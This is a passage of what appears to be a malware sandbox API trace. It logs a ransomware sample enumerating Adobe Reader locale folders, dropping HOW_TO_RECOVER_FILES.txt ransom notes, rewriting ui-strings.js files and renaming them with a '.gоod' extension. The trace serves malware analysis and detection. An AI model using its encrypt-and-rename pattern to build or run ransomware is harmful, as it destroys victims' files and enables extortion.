lpFilePart=0x0) returned 0x6a [0177.017] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ar-ae\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0177.017] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.017] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0177.018] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0177.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0177.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0177.018] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ar-ae\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ar-ae\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0177.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0177.018] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ar-ae\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ar-ae\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0177.019] GetFileType (hFile=0x6e0) returned 0x1 [0177.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0177.019] GetFileType (hFile=0x6e0) returned 0x1 [0177.019] WriteFile (in: hFile=0x6e0, lpBuffer=0x348d298*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x348d298*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0177.020] CloseHandle (hObject=0x6e0) returned 1 [0177.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0177.020] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es", lpFilePart=0x0) returned 0x6a [0177.020] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0177.615] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.615] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x201f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0177.615] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0177.615] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0177.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0177.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0177.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0177.615] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es", lpFilePart=0x0) returned 0x6a [0177.616] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0177.616] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.616] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x201f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0177.616] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x201f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0177.616] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0177.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0177.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0177.616] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0177.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0177.617] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x34bcea8 | out: lpFileInformation=0x34bcea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x201f)) returned 1 [0177.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0177.617] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0177.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0177.617] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0177.618] GetFileType (hFile=0x768) returned 0x1 [0177.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0177.618] GetFileType (hFile=0x768) returned 0x1 [0177.618] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0177.618] ReadFile (in: hFile=0x768, lpBuffer=0x34bd390, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x34bd390*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0177.700] CloseHandle (hObject=0x768) returned 1 [0177.700] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0177.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0177.700] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0177.700] GetFileType (hFile=0x768) returned 0x1 [0177.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0177.700] GetFileType (hFile=0x768) returned 0x1 [0177.700] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x201f [0177.700] WriteFile (in: hFile=0x768, lpBuffer=0x357c6e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x357c6e0*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0177.702] CloseHandle (hObject=0x768) returned 1 [0177.703] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0177.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0177.703] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0177.703] GetFileType (hFile=0x768) returned 0x1 [0177.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0177.703] GetFileType (hFile=0x768) returned 0x1 [0177.703] ReadFile (in: hFile=0x768, lpBuffer=0x357eca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x357eca8*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0178.294] CloseHandle (hObject=0x768) returned 1 [0178.294] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0178.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0178.294] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0178.294] GetFileType (hFile=0x768) returned 0x1 [0178.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0178.294] GetFileType (hFile=0x768) returned 0x1 [0178.294] WriteFile (in: hFile=0x768, lpBuffer=0x34071b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x34071b8*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0178.294] CloseHandle (hObject=0x768) returned 1 [0178.294] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0178.294] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0178.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0178.295] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x667c92f3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x202f)) returned 1 [0178.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0178.295] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ca-es\\ui-strings.js.gоod")) returned 1 [0178.295] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0178.296] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0178.296] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ca-es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0178.296] GetFileType (hFile=0x768) returned 0x1 [0178.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0178.296] GetFileType (hFile=0x768) returned 0x1 [0178.297] WriteFile (in: hFile=0x768, lpBuffer=0x35e8b30*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x35e8b30*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0178.298] CloseHandle (hObject=0x768) returned 1 [0178.298] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0178.298] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz", lpFilePart=0x0) returned 0x6a [0178.298] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0178.298] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.299] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0178.299] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0178.299] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0178.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0178.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0178.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0178.299] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz", lpFilePart=0x0) returned 0x6a [0178.299] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0178.299] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, 